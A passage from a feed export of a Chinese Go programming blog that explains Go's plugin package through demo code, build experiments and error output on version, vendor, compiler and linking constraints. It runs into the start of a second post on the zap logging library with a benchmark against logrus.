fmt.Println(\u0026#34;LoadAndInvokeSomethingFromPlugin ok\u0026#34;) } 下面是主程序demo1工程中的关键代码：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo1/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/bigwhite/demo1/pkg/pkg1\u0026#34; ) func main() { err := pkg1.LoadAndInvokeSomethingFromPlugin(\u0026#34;../demo1-plugins/plugin1.so\u0026#34;) if err != nil { fmt.Println(\u0026#34;LoadAndInvokeSomethingFromPlugin error:\u0026#34;, err) return } fmt.Println(\u0026#34;LoadAndInvokeSomethingFromPlugin ok\u0026#34;) } 我们在main函数中调用pkg1包的LoadAndInvokeSomethingFromPlugin函数，该函数会加载main函数传入的go plugin、查找plugin中相应符号并通过这些符号使用plugin中的导出变量、函数等。下面是LoadAndInvokeSomethingFromPlugin函数的实现：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo1/pkg/pkg1/pkg1.go package pkg1 import ( \u0026#34;errors\u0026#34; \u0026#34;plugin\u0026#34; \u0026#34;log\u0026#34; ) func init() { log.Println(\u0026#34;pkg1 init\u0026#34;) } type MyInterface interface { M1() } func LoadAndInvokeSomethingFromPlugin(pluginPath string) error { p, err := plugin.Open(pluginPath) if err != nil { return err } // 导出整型变量 v, err := p.Lookup(\u0026#34;V\u0026#34;) if err != nil { return err } *v.(*int) = 15 // 导出函数变量 f, err := p.Lookup(\u0026#34;F\u0026#34;) if err != nil { return err } f.(func())() // 导出自定义类型变量 f1, err := p.Lookup(\u0026#34;Foo\u0026#34;) if err != nil { return err } i, ok := f1.(MyInterface) if !ok { return errors.New(\u0026#34;f1 does not implement MyInterface\u0026#34;) } i.M1() return nil } 在LoadAndInvokeSomethingFromPlugin函数中，我们通过plugin包提供的Plugin类型提供的Lookup方法在加载的.so中查找相应的导出符号，比如上面的V、F和Foo等。Lookup方法返回plugin.Symbol类型，而Symbol类型定义如下：\n// $GOROOT/src/plugin/plugin.go type Symbol interface{} 我们看到Symbol的底层类型(underlying type)是interface{}，因此它可以承载从plugin中找到的任何类型的变量、函数(得益于函数是一等公民)的符号。而plugin中定义的类型则是不能被主程序查找的，通常主程序也不会依赖plugin中定义的类型。\n一旦Lookup成功，我们便可以将符号通过类型断言(type assert)获取到其真实类型的实例，通过这些实例(变量或函数)，我们可以调用plugin中实现的逻辑。编译plugin后，运行上述主程序，我们可以看到如下结果：\n$go run main.go 2021/06/15 10:05:22 pkg1 init try to LoadAndInvokeSomethingFromPlugin... 2021/06/15 10:05:22 plugin1 init plugin1: public integer variable V=15 plugin1: invoke foo.M1 LoadAndInvokeSomethingFromPlugin ok 那么，主程序是如何知道导出的符号究竟是函数还是变量呢？这取决于主程序插件系统的设计，因为主程序与plugin间必然要有着某种“契约”或“约定”。就像上面主程序定义的MyInterface接口类型，它就是一个主程序与plugin之间的约定，plugin中只要暴露实现了该接口的类型实例，主程序便可以通过MyInterface接口类型实例与其建立关联并调用plugin中的实现 。\n2. plugin中包的初始化 在上面的例子中我们看到，插件的初始化(plugin1 init)发生在主程序open .so文件时。按照官方文档的说法：“当一个插件第一次被open时，plugin中所有不属于主程序的包的init函数将被调用，但一个插件只被初始化一次，而且不能被关闭”。\n我们来验证一下在主程序中多次加载同一个plugin的情况，这次我们将程序升级为demo2和demo2-plugins：\n主程序代码如下：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo2/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/bigwhite/demo2/pkg/pkg1\u0026#34; ) func main() { fmt.Println(\u0026#34;try to LoadPlugin...\u0026#34;) err := pkg1.LoadPlugin(\u0026#34;../demo2-plugins/plugin1.so\u0026#34;) if err != nil { fmt.Println(\u0026#34;LoadPlugin error:\u0026#34;, err) return } fmt.Println(\u0026#34;LoadPlugin ok\u0026#34;) err = pkg1.LoadPlugin(\u0026#34;../demo2-plugins/plugin1.so\u0026#34;) if err != nil { fmt.Println(\u0026#34;Re-LoadPlugin error:\u0026#34;, err) return } fmt.Println(\u0026#34;Re-LoadPlugin ok\u0026#34;) } package pkg1 import ( \u0026#34;log\u0026#34; \u0026#34;plugin\u0026#34; ) func init() { log.Println(\u0026#34;pkg1 init\u0026#34;) } func LoadPlugin(pluginPath string) error { _, err := plugin.Open(pluginPath) if err != nil { return err } return nil } 由于仅是验证初始化，我们去掉了查找符号和调用的环节。plugin的代码如下：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo2-plugins/plugin1.go package main import ( \u0026#34;log\u0026#34; _ \u0026#34;github.com/bigwhite/common\u0026#34; ) func init() { log.Println(\u0026#34;plugin1 init\u0026#34;) } 在demo2的plugin中，我们同样仅保留初始化相关的代码，这里我们在demo2的plugin1中还增加了一个外部依赖：github.com/bigwhite/common。\n运行上述代码：\n$go run main.go 2021/06/15 10:50:47 pkg1 init try to LoadPlugin... 2021/06/15 10:50:47 common init 2021/06/15 10:50:47 plugin1 init LoadPlugin ok Re-LoadPlugin ok 通过这个输出结果，我们验证了两点说法：\n重复加载同一个plugin，不会触发多次plugin包的初始化，上述结果中仅输出一次：“plugin1 init”； plugin中依赖的包，但主程序中没有的包，在加载plugin时，这些包会被初始化，如：“commin init”。 如果主程序也依赖github.com/bigwhite/common包，我们在主程序的main包中增加一行：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo2/main.go import ( \u0026#34;fmt\u0026#34; _ \u0026#34;github.com/bigwhite/common\u0026#34; // 增加这一行 \u0026#34;github.com/bigwhite/demo2/pkg/pkg1\u0026#34; ) 那么我们再执行demo2，输出如下结果：\n2021/06/15 11:00:00 common init 2021/06/15 11:00:00 pkg1 init try to LoadPlugin... 2021/06/15 11:00:00 plugin1 init LoadPlugin ok Re-LoadPlugin ok 我们看到common包在demo2主程序中已经做了初始化，这样当加载plugin时，common包不会再进行初始化了。\n3. go plugin的使用约束 开篇我们就提到了，go plugin应用不甚广泛的一个主因是其约束较多，这里我们来看一下究竟go plugin都有哪些约束：\n1) 主程序与plugin的共同依赖包的版本必须一致 在上面demo2中，主程序和plugin依赖的github.com/bigwhite/common包是一个本地module，我们在go.mod中使用replace指向本地路径：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo2/go.mod module github.com/bigwhite/demo2 replace github.com/bigwhite/common =\u0026gt; /Users/tonybai/go/src/github.com/bigwhite/experiments/go-plugin/common require github.com/bigwhite/common v0.0.0-20180202201655-eb2c6b5be1b6 // 这个版本号是自行“伪造”的 go 1.16 如果我clone一份common包，将其放在common1目录下，并在plugin的go.mod中将replace github.com/bigwhite/common语句指向common1目录，我们重新编译主程序和plugin后，运行主程序，我们将得到如下结果：\n$go run main.go 2021/06/15 14:09:07 common init 2021/06/15 14:09:07 pkg1 init try to LoadPlugin... LoadPlugin error: plugin.Open(\u0026#34;../demo2-plugins/plugin1\u0026#34;): plugin was built with a different version of package github.com/bigwhite/common 我们看到因common的版本不同，plugin加载失败，这是plugin使用的一个约束：主程序与plugin的共同依赖包的版本必须一致。\n我们再来看一个主程序与plugin有共同以来包的例子。我们建立demo3，在这个版本中，主程序和plugin都依赖了logrus日志包，但主程序使用的是logrus 1.8.1版本，而plugin使用的是logrus 1.8.0版本，分别编译后，我们运行主程序：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo3 2021/06/15 14:18:35 pkg1 init try to LoadPlugin... LoadPlugin error: plugin.Open(\u0026#34;../demo3-plugins/plugin1\u0026#34;): plugin was built with a different version of package github.com/sirupsen/logrus 我们看到主程序运行报错，和前面的例子提示一样，都是因为使用了版本不一致的第三方包。要想解决这个问题，我们只需让两者使用的logrus包版本保持一致即可，比如将主程序的logrus从v1.8.1降级为v1.8.0：\n$go get github.com/sirupsen/logrus@v1.8.0 go get: downgraded github.com/sirupsen/logrus v1.8.1 =\u0026gt; v1.8.0 $go run main.go 2021/06/15 14:19:09 pkg1 init try to LoadPlugin... 2021/06/15 14:19:09 plugin1 init LoadPlugin ok 我们看到降级logrus版本后，主程序便可以正常加载plugin了。\n还有一种情况，那就是主程序与plugin使用了同一个module的不同major版本的包，由于major版本不同，虽然是同一module，但实则是两个不同的包，这不会影响主程序对plugin的加载。但问题在于这个被共同依赖的module也会有自己的依赖包，当其不同major版本所依赖的某个包的版本不同时，同样会导致主程序加载plugin出现问题。 比如：主程序依赖go-redis/redis的v6.15.9+incompatible版本，而plugin依赖的是go-redis/redis/v8版本，当我们使用这样的主程序去加载plugin时，我们会遇到如下错误：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo3 $go run main.go 2021/06/15 14:32:11 pkg1 init try to LoadPlugin... LoadPlugin error: plugin.Open(\u0026#34;../demo3-plugins/plugin1\u0026#34;): plugin was built with a different version of package golang.org/x/sys/unix 我们看到redis版本并未出错，但问题出在redis与redis/v8所依赖的golang.org/x/sys的版本不同，这种间接依赖的module的版本的不一致同样会导致go plugin加载失败，这同样是go plugin的使用约束之一。\n2) 如果采用mod=vendor构建，那么主程序和plugin必须基于同一个vendor目录构建 基于vendor构建是go 1.5版本引入的特性，go 1.11版本引入go module构建模式后，vendor构建的方式得以保留。那么问题来了，如果主程序或plugin采用vendor构建或同时采用vendor构建，那么主程序是否可以正常加载plugin呢？我们来用示例demo4验证一下。(demo4和demo3大同小异，这里就不列出具体代码了）。\n首先我们分别为主程序(demo4)和plugin(demo4-plugins)生成vendor目录：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo4 $go mod vendor // github.com/bigwhite/experiments/tree/master/go-plugin/demo4-plugins $go mod vendor 我们测试如下三种情况(go 1.16版本默认在有vendor的情况下，优先使用vendor构建。所以要基于mod构建需要显式的传入-mod=mod)：\n主程序基于mod构建，插件基于vendor构建 // github.com/bigwhite/experiments/tree/master/go-plugin/demo4-plugins $go build -mod=vendor -buildmode=plugin -o plugin1.so plugin1.go // github.com/bigwhite/experiments/tree/master/go-plugin/demo4 $go build -mod=mod -o main.mod main.go $main.mod 2021/06/15 15:41:21 pkg1 init try to LoadPlugin... LoadPlugin error: plugin.Open(\u0026#34;../demo4-plugins/plugin1\u0026#34;): plugin was built with a different version of package golang.org/x/sys/unix 主程序基于vendor构建，插件基于mod构建 // github.com/bigwhite/experiments/tree/master/go-plugin/demo4-plugins $go build -mod=mod -buildmode=plugin -o plugin1.so plugin1.go // github.com/bigwhite/experiments/tree/master/go-plugin/demo4 $go build -mod=vendor -o main.vendor main.go $./main.vendor 2021/06/15 15:44:15 pkg1 init try to LoadPlugin... LoadPlugin error: plugin.Open(\u0026#34;../demo4-plugins/plugin1\u0026#34;): plugin was built with a different version of package golang.org/x/sys/unix 主程序和插件分别基于各自的vendor构建 // github.com/bigwhite/experiments/tree/master/go-plugin/demo4-plugins $go build -mod=vendor -buildmode=plugin -o plugin1.so plugin1.go // github.com/bigwhite/experiments/tree/master/go-plugin/demo4 $go build -mod=vendor -o main.vendor main.go $./main.vendor 2021/06/15 15:45:11 pkg1 init try to LoadPlugin... LoadPlugin error: plugin.Open(\u0026#34;../demo4-plugins/plugin1\u0026#34;): plugin was built with a different version of package golang.org/x/sys/unix 从上面的测试，我们看到无论是哪一方采用vendor构建，或者双方都基于各自vendor构建，主程序加载plugin都会失败。如何解决这一问题呢？让主程序和plugin基于同一个vendor构建!\n我们将plugin1.go拷贝到demo4中，然后分别用vendor构建构建主程序和plugin1.go：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo4 $go build -mod=vendor -o main.vendor main.go // github.com/bigwhite/experiments/tree/master/go-plugin/demo4 $go build -mod=vendor -buildmode=plugin -o plugin1.so plugin1.go 将编译生成的plugin1.so拷贝到demo4-plugins中，然后运行main.vendor：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo4 $cp plugin1.so ../demo4-plugins $main.vendor 2021/06/15 15:48:56 pkg1 init try to LoadPlugin... 2021/06/15 15:48:56 plugin1 init LoadPlugin ok 我们看到基于同一vendor的主程序与plugin是可以相容的。下面的表格总结了主程序与plugin采用不同构建模式时是否相容：\n插件构建方式\\主程序构建方式 基于mod 基于自己的vendor 基于mod 加载成功 加载失败 基于基于自己的vendor 加载失败 加载失败\n在vendor构建模式下，只有基于同一个vendor目录构建时，plugin才能被主程序加载成功！\n3) 主程序与plugin使用的编译器版本必须一致 如果我们使用不同版本的Go编译器分别编译主程序以及plugin，那么这两者是否能相容呢？我们还拿demo4来验证一下。我在主机上准备了go 1.16.5和go 1.16两个版本的Go编译器，go 1.16.5是go 1.16的patch维护版本，其区别与go 1.16与go 1.15相比则不是一个量级的，我们用go 1.16编译主程序，用go 1.16.5编译plugin：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo4-plugins $go version go version go1.16.5 darwin/amd64 $go build -buildmode=plugin -o plugin1.so plugin1.go // github.com/bigwhite/experiments/tree/master/go-plugin/demo4 $go version go version go1.16 darwin/amd64 $go run main.go 2021/06/15 15:58:44 pkg1 init try to LoadPlugin... LoadPlugin error: plugin.Open(\u0026#34;../demo4-plugins/plugin1\u0026#34;): plugin was built with a different version of package runtime/internal/sys 我们看到即便用patch版本编译，plugin与主程序也是不兼容的。我们将demo4升级到用go 1.16.5版本编译：\n$go version go version go1.16.5 darwin/amd64 $go run main.go 2021/06/15 15:59:05 pkg1 init try to LoadPlugin... 2021/06/15 15:59:05 plugin1 init LoadPlugin ok 我们看到只有主程序与plugin采用完全相同的版本(patch版本也要相同）编译时，它们才是相容的，主程序才能正常加载plugin。\n那么操作系统版本是否影响主程序和plugin的相容性呢？这个没有官方说明，我亲测了一下。我在centos 7.6(amd64, go 1.16.5)上构建了demo4-plugin(基于mod=mod），然后将其拷贝到一台ubuntu 18.04(amd64, go1.16.5)的主机上，ubuntu主机上的demo4主程序可以与centos上编译出来的plugin相容。\n4) 使用plugin的主程序仅能使用动态链接 Go以静态编译便于分发和部署著称，但使用plugin的主程序仅能使用动态链接。不信？那我们来挑战一下静态编译demo4中的主程序。\n先来看看默认编译的情况：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo4 $go build main.go $ldd main linux-vdso.so.1 (0x00007ffc05b73000) libdl.so.2 =\u0026gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f6a9fa3f000) libpthread.so.0 =\u0026gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f6a9f820000) libc.so.6 =\u0026gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6a9f42f000) /lib64/ld-linux-x86-64.so.2 (0x00007f6a9fc43000) 我们看到默认编译的情况下，demo4主程序被编译为一个需要在运行时动态链接的可执行文件，它依赖诸多linux系统运行时库，比如：libc等。\n这一切的原因都是我们在demo4中使用了一些通过cgo实现的标准库，比如plugin包：\n// $GOROOT/src/plugin/plugin_dlopen.go // +build linux,cgo darwin,cgo freebsd,cgo package plugin /* #cgo linux LDFLAGS: -ldl #include \u0026lt;dlfcn.h\u0026gt; #include \u0026lt;limits.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; static uintptr_t pluginOpen(const char* path, char** err) { void* h = dlopen(path, RTLD_NOW|RTLD_GLOBAL); if (h == NULL) { *err = (char*)dlerror(); } return (uintptr_t)h; } ... ... */ 我们看到plugin_dlopen.go的头部有build指示符，它仅在cgo开启的前提下才会被编译，如果我们去掉cgo，比如利用下面这行命令：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo4 $ CGO_ENABLED=0 go build main.go $ ldd main not a dynamic executable 我们确实编译出一个静态链接的可执行文件，但当我们执行该文件时，我们得到如下结果：\n$ ./main 2021/06/15 17:01:51 pkg1 init try to LoadPlugin... LoadPlugin error: plugin: not implemented 我们看到由于cgo被关闭，plugin包的一些函数并没有被编译到最终可执行文件中，于是报了”not implemented”的错误！\n在CGO开启的情况下，我们依旧可以让外部链接器使用静态链接，我们再来试一下：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo4 $ go build -o main-static -ldflags \u0026#39;-linkmode \u0026#34;external\u0026#34; -extldflags \u0026#34;-static\u0026#34;\u0026#39; main.go # command-line-arguments /tmp/go-link-638385712/000001.o: In function `pluginOpen\u0026#39;: /usr/local/go/src/plugin/plugin_dlopen.go:19: warning: Using \u0026#39;dlopen\u0026#39; in statically linked applications requires at runtime the shared libraries from the glibc version used for linking $ ldd main-static not a dynamic executable 我们的确得到了一个静态编译的二进制文件，但编译器也给出了warning。\n执行这个文件：\n$ ./main-static 2021/06/15 17:02:35 pkg1 init try to LoadPlugin... fatal error: runtime: no plugin module data goroutine 1 [running]: runtime.throw(0x5d380a, 0x1e) /usr/local/go/src/runtime/panic.go:1117 +0x72 fp=0xc000091b50 sp=0xc000091b20 pc=0x435712 plugin.lastmoduleinit(0xc000076210, 0x1001, 0x1001, 0xc000010040, 0x24db1f0) /usr/local/go/src/runtime/plugin.go:20 +0xb50 fp=0xc000091c48 sp=0xc000091b50 pc=0x466750 plugin.open(0x5d284c, 0x18, 0xc0000788f0, 0x0, 0x0) /usr/local/go/src/plugin/plugin_dlopen.go:77 +0x4ef fp=0xc000091ec0 sp=0xc000091c48 pc=0x4dad8f plugin.Open(...) /usr/local/go/src/plugin/plugin.go:32 github.com/bigwhite/demo4/pkg/pkg1.LoadPlugin(0x5d284c, 0x1b, 0xc000091f48, 0x1) /root/test/go/plugin/demo4/pkg/pkg1/pkg1.go:13 +0x35 fp=0xc000091ef8 sp=0xc000091ec0 pc=0x4dbbb5 main.main() /root/test/go/plugin/demo4/main.go:12 +0xa5 fp=0xc000091f88 sp=0xc000091ef8 pc=0x4ee805 runtime.main() /usr/local/go/src/runtime/proc.go:225 +0x256 fp=0xc000091fe0 sp=0xc000091f88 pc=0x438196 runtime.goexit() /usr/local/go/src/runtime/asm_amd64.s:1371 +0x1 fp=0xc000091fe8 sp=0xc000091fe0 pc=0x46a841 warning最终演变为运行时的panic，看来使用plugin的主程序只能编译为动态链接的可执行程序了。目前go项目有多个issue与此有关：\nhttps://github.com/golang/go/issues/33072 https://github.com/golang/go/issues/17150 https://github.com/golang/go/issues/18123 4. plugin版本管理 使用动态链接实现插件系统，一个更大的问题就是插件的版本管理问题。\nlinux上的动态链接库采用soname的方式进行版本管理。soname的关键功能是它提供了兼容性的标准，当要升级系统中的一个库时，并且新库的soname和老库的soname一样，用旧库链接生成的程序使用新库依然能正常运行。这个特性使得在Linux下，升级使得共享库的程序和定位错误变得十分容易。\n什么是soname呢？ 在/lib和/usr/lib等集中放置共享库的目录下，你总是会看到诸如下面的情况：\n2019-12-10 12:28 libfoo.so -\u0026gt; libfoo.so.0.0.0* 2019-12-10 12:28 libfoo.so.0 -\u0026gt; libfoo.so.0.0.0* 2019-12-10 12:28 libfoo.so.0.0.0* 关于libfoo.so居然有三个文件入口，其中libfoo.so.0.0.0是真正的共享库文件，而其他两个文件入口则是指向libfoo.so.0.0.0的符号链接。为何会出现这个情况呢？这与共享库的命名惯例和版本管理不无关系。\n共享库的惯例中每个共享库都有多个名字属性，包括real name、soname和linker name：\nreal name real name指的是实际包含共享库代码的那个文件的名字(如上面例子中的libfoo.so.0.0.0)，也是在共享库编译命令行中-o后面的那个参数；\nsoname soname则是shared object name的缩写，也是这三个名字中最重要的一个，无论是在编译阶段还是在运行阶段，系统链接器都是通过共享库的soname(如上面例子中的libfoo.so.0)来唯一识别共享库的。即使real name相同但soname不同，也会被链接器认为是两个不同的库。共享库的soname可在编译期间通过传给链接器的参数来指定，如我们可以通过”gcc -shared -Wl,-soname -Wl,libfoo.so.0 -o libfoo.so.0.0.0 libfoo.o”来指定libfoo.so.0.0.0的soname为libfoo.so.0。ldconfig -n directory_with_shared_libraries命令会根据共享库的soname自动生成一个名为soname的符号链接指向real name文件，当然你也可以通过ln命令自己来创建这个符号链接。另外在linux下我们可通过readelf -d查看共享库的soname，ldd输出的ELF文件依赖的共享库列表中显示的也是共享库的soname及所在路径。\nlinker name linker name是编译阶段提供给编译器的名字(如上面例子中的libfoo.so)。如果你构建的共享库的real name是类似于上例中libfoo.so.0.0.0那样的带有版本号的样子，那么你在编译器命令中直接使用-L path -lfoo是无法让链接器找到对应的共享库文件的，除非你为libfoo.so.0.0.0提供了一个linker name(如libfoo.so，一个指向libfoo.so.0.0.0的符号链接)。linker name一般在共享库安装时手工创建。\n那么go plugin是否可以用soname的方式来做版本管理呢？基于demo1我们创建demo5，并来做一下试验。\n在demo5-plugins中，我们为构建出的.so增加版本信息：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo5-plugins $go build -buildmode=plugin -o plugin1.so.1.1 plugin1.go $ln -s plugin1.so.1.1 plugin1.so.1 $ls -l lrwxr-xr-x 1 tonybai staff 14 7 16 05:42 plugin1.so.1@ -\u0026gt; plugin1.so.1.1 -rw-r--r-- 1 tonybai staff 2888408 7 16 05:42 plugin1.so.1.1 我们通过ln命令为构建出的plugin1.so.1.1创建了一个符号链接plugin1.so.1，plugin1.so.1作为我们插件的soname传给demo5：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo5/main.go func main() { fmt.Println(\u0026#34;try to LoadAndInvokeSomethingFromPlugin...\u0026#34;) err := pkg1.LoadAndInvokeSomethingFromPlugin(\u0026#34;../demo5-plugins/plugin1.so.1\u0026#34;) if err != nil { fmt.Println(\u0026#34;LoadAndInvokeSomethingFromPlugin error:\u0026#34;, err) return } fmt.Println(\u0026#34;LoadAndInvokeSomethingFromPlugin ok\u0026#34;) } 运行demo5：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo5 $go run main.go 2021/07/16 05:58:33 pkg1 init try to LoadAndInvokeSomethingFromPlugin... 2021/07/16 05:58:33 plugin1 init plugin1: public integer variable V=15 plugin1: invoke foo.M1 LoadAndInvokeSomethingFromPlugin ok 我们看到以soname传入的插件被顺利加载并提取符号。\n后续如果plugin发生变更，比如打了patch，我们只需要升级plugin为plugin1.so.1.2，然后soname依旧保持不变，主程序也无需变动。\n注意：如果插件名相同，内容相同，主程序多次加载不会出现问题；但插件名相同，但内容不同，主程序运行时多次load会导致runtime panic，并且是无法恢复的panic。所以务必做好插件的版本管理。\n5. 小结 go plugin是go语言原生提供的一种go插件方案（非go插件方案，可以使用c shared library等）。但经过上面的实验和学习，我们我们看到了plugin使用的诸多约束，这的确给go plugin的推广使用造成的很大障碍，导致目前go plugin应用不甚广泛。\n根据上面看到的种种约束，如果要应用go plugin，必须要做到:\n构建环境一致 对第三方包的版本一致。 因此，业内在使用go plugin时多利用builder container（用来构建程序的容器）来保证主程序和plugin使用相同的构建环境。\n在go plugin为数不多的用户中，有三个比较知名的开源项目值得后续认真研究：\ngosh: https://github.com/vladimirvivien/gosh tyk api gateway: https://github.com/TykTechnologies/tyk tidb : https://github.com/pingcap/tidb 尤其是tidb，还给出了其插件系统使用go plugin的完整设计方案：https://github.com/pingcap/tidb/blob/master/docs/design/2018-12-10-plugin-framework.md，值得大家细致品读。\n本文涉及的所有源码可以在这里下载：https://github.com/bigwhite/experiments/tree/master/go-plugin 。\n6. 参考资料 https://golang.org/pkg/plugin/ https://golang.org/cmd/go/#hdr-Build_modes https://golang.org/doc/go1.8 https://www.reddit.com/r/golang/comments/b6h8qq/is_anyone_actually_using_go_plugins/ https://medium.com/@alperkose/things-to-avoid-while-using-golang-plugins-f34c0a636e8 https://medium.com/learning-the-go-programming-language/writing-modular-go-programs-with-plugins-ec46381ee1a9 “Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/07/19/understand-go-plugin/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-plugin-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/07/19/understand-go-plugin\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/07/19/understand-go-plugin\"\u003ehttps://tonybai.com/2021/07/19/understand-go-plugin\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e要历数Go语言中还有哪些我还没用过的特性，在\u003ca href=\"https://tonybai.com/2017/02/03/some-changes-in-go-1-8/\"\u003eGo 1.8版本\u003c/a\u003e中引入的\u003ca href=\"https://pkg.go.dev/plugin@master\"\u003ego plugin\u003c/a\u003e算一个。近期想给一个网关类平台设计一个插件系统，于是想起了go plugin^_^。\u003c/p\u003e","title":"一文搞懂Go语言的plugin"},{"content":"\n本文永久链接 – https://tonybai.com/2021/07/14/uber-zap-advanced-usage\n1. 引子 日志在后端系统中有着重要的地位，通过日志不仅可以直观看到程序的当前运行状态，更重要的是日志可以在程序发生问题时为开发人员提供线索。\n在Go生态中，logrus可能是使用最多的Go日志库，它不仅提供结构化的日志，更重要的是与标准库log包在api层面兼容。在性能不敏感的领域，logrus确实是不二之选。\n但在性能敏感的领域和场景下，logrus便不那么香了，出镜更多的是大厂uber开源的名为zap的日志库。之所以在这些场景下zap更香，虽与其以高性能著称不无关系，但其背后的大厂uber背书也是极其重要的。uber大厂有着太多性能和延迟敏感的场景，其生产环境现存数千个Go语言开发的微服务，这些微服务估计大多使用的都是zap，经历过大厂性能敏感场景考验的log库信誉有保障，后续有人持续维护，自然被大家青睐。\n关于zap高性能的原理，在网络上已经有不少高质量的资料（参见本文末的参考资料）做过详尽的分析了。zap的主要优化点包括：\n避免使用interface{}带来的开销（拆装箱、对象逃逸到堆上） 坚决不用反射，每个要输出的字段（field）在传入时都携带类型信息（这虽然降低了开发者使用zap的体验，但相对于其获得的性能提升，这点体验下降似乎也算不得什么）： logger.Info(\u0026#34;failed to fetch URL\u0026#34;, // Structured context as strongly typed Field values. zap.String(\u0026#34;url\u0026#34;, `http://foo.com`), zap.Int(\u0026#34;attempt\u0026#34;, 3), zap.Duration(\u0026#34;backoff\u0026#34;, time.Second), ) 使用sync.Pool减少堆内存分配（针对代表一条完整日志消息的zapcore.Entry），降低对GC压力。 下面是一个简单zap与logrus的性能基准benchmark对比：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/benchmark/log_lib_test.go package main import ( \u0026#34;io\u0026#34; \u0026#34;testing\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/sirupsen/logrus\u0026#34; \u0026#34;go.uber.org/zap\u0026#34; \u0026#34;go.uber.org/zap/zapcore\u0026#34; ) func BenchmarkLogrus(b *testing.B) { b.ReportAllocs() b.StopTimer() logger := logrus.New() logger.SetOutput(io.Discard) b.StartTimer() for i := 0; i \u0026lt; b.N; i++ { logger.WithFields(logrus.Fields{ \u0026#34;url\u0026#34;: \u0026#34;http://foo.com\u0026#34;, \u0026#34;attempt\u0026#34;: 3, \u0026#34;backoff\u0026#34;: time.Second, }).Info(\u0026#34;failed to fetch URL\u0026#34;) } } func BenchmarkZap(b *testing.B) { b.ReportAllocs() b.StopTimer() cfg := zap.NewProductionConfig() core := zapcore.NewCore( zapcore.NewJSONEncoder(cfg.EncoderConfig), zapcore.AddSync(io.Discard), zapcore.InfoLevel, ) logger := zap.New(core) b.StartTimer() for i := 0; i \u0026lt; b.N; i++ { logger.Info(\u0026#34;failed to fetch URL\u0026#34;, zap.String(\u0026#34;url\u0026#34;, `http://foo.com`), zap.Int(\u0026#34;attempt\u0026#34;, 3), zap.Duration(\u0026#34;backoff\u0026#34;, time.Second), ) } } 在上面的基准测试中，我们使用logrus和zap分别向io.Discard写入相同内容的日志，基准测试的运行结果如下：\n$go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/zap-usage cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkLogrus-8 281667 4001 ns/op 1365 B/op 25 allocs/op BenchmarkZap-8 1319922 901.1 ns/op 192 B/op 1 allocs/op PASS ok github.com/bigwhite/zap-usage 3.296s 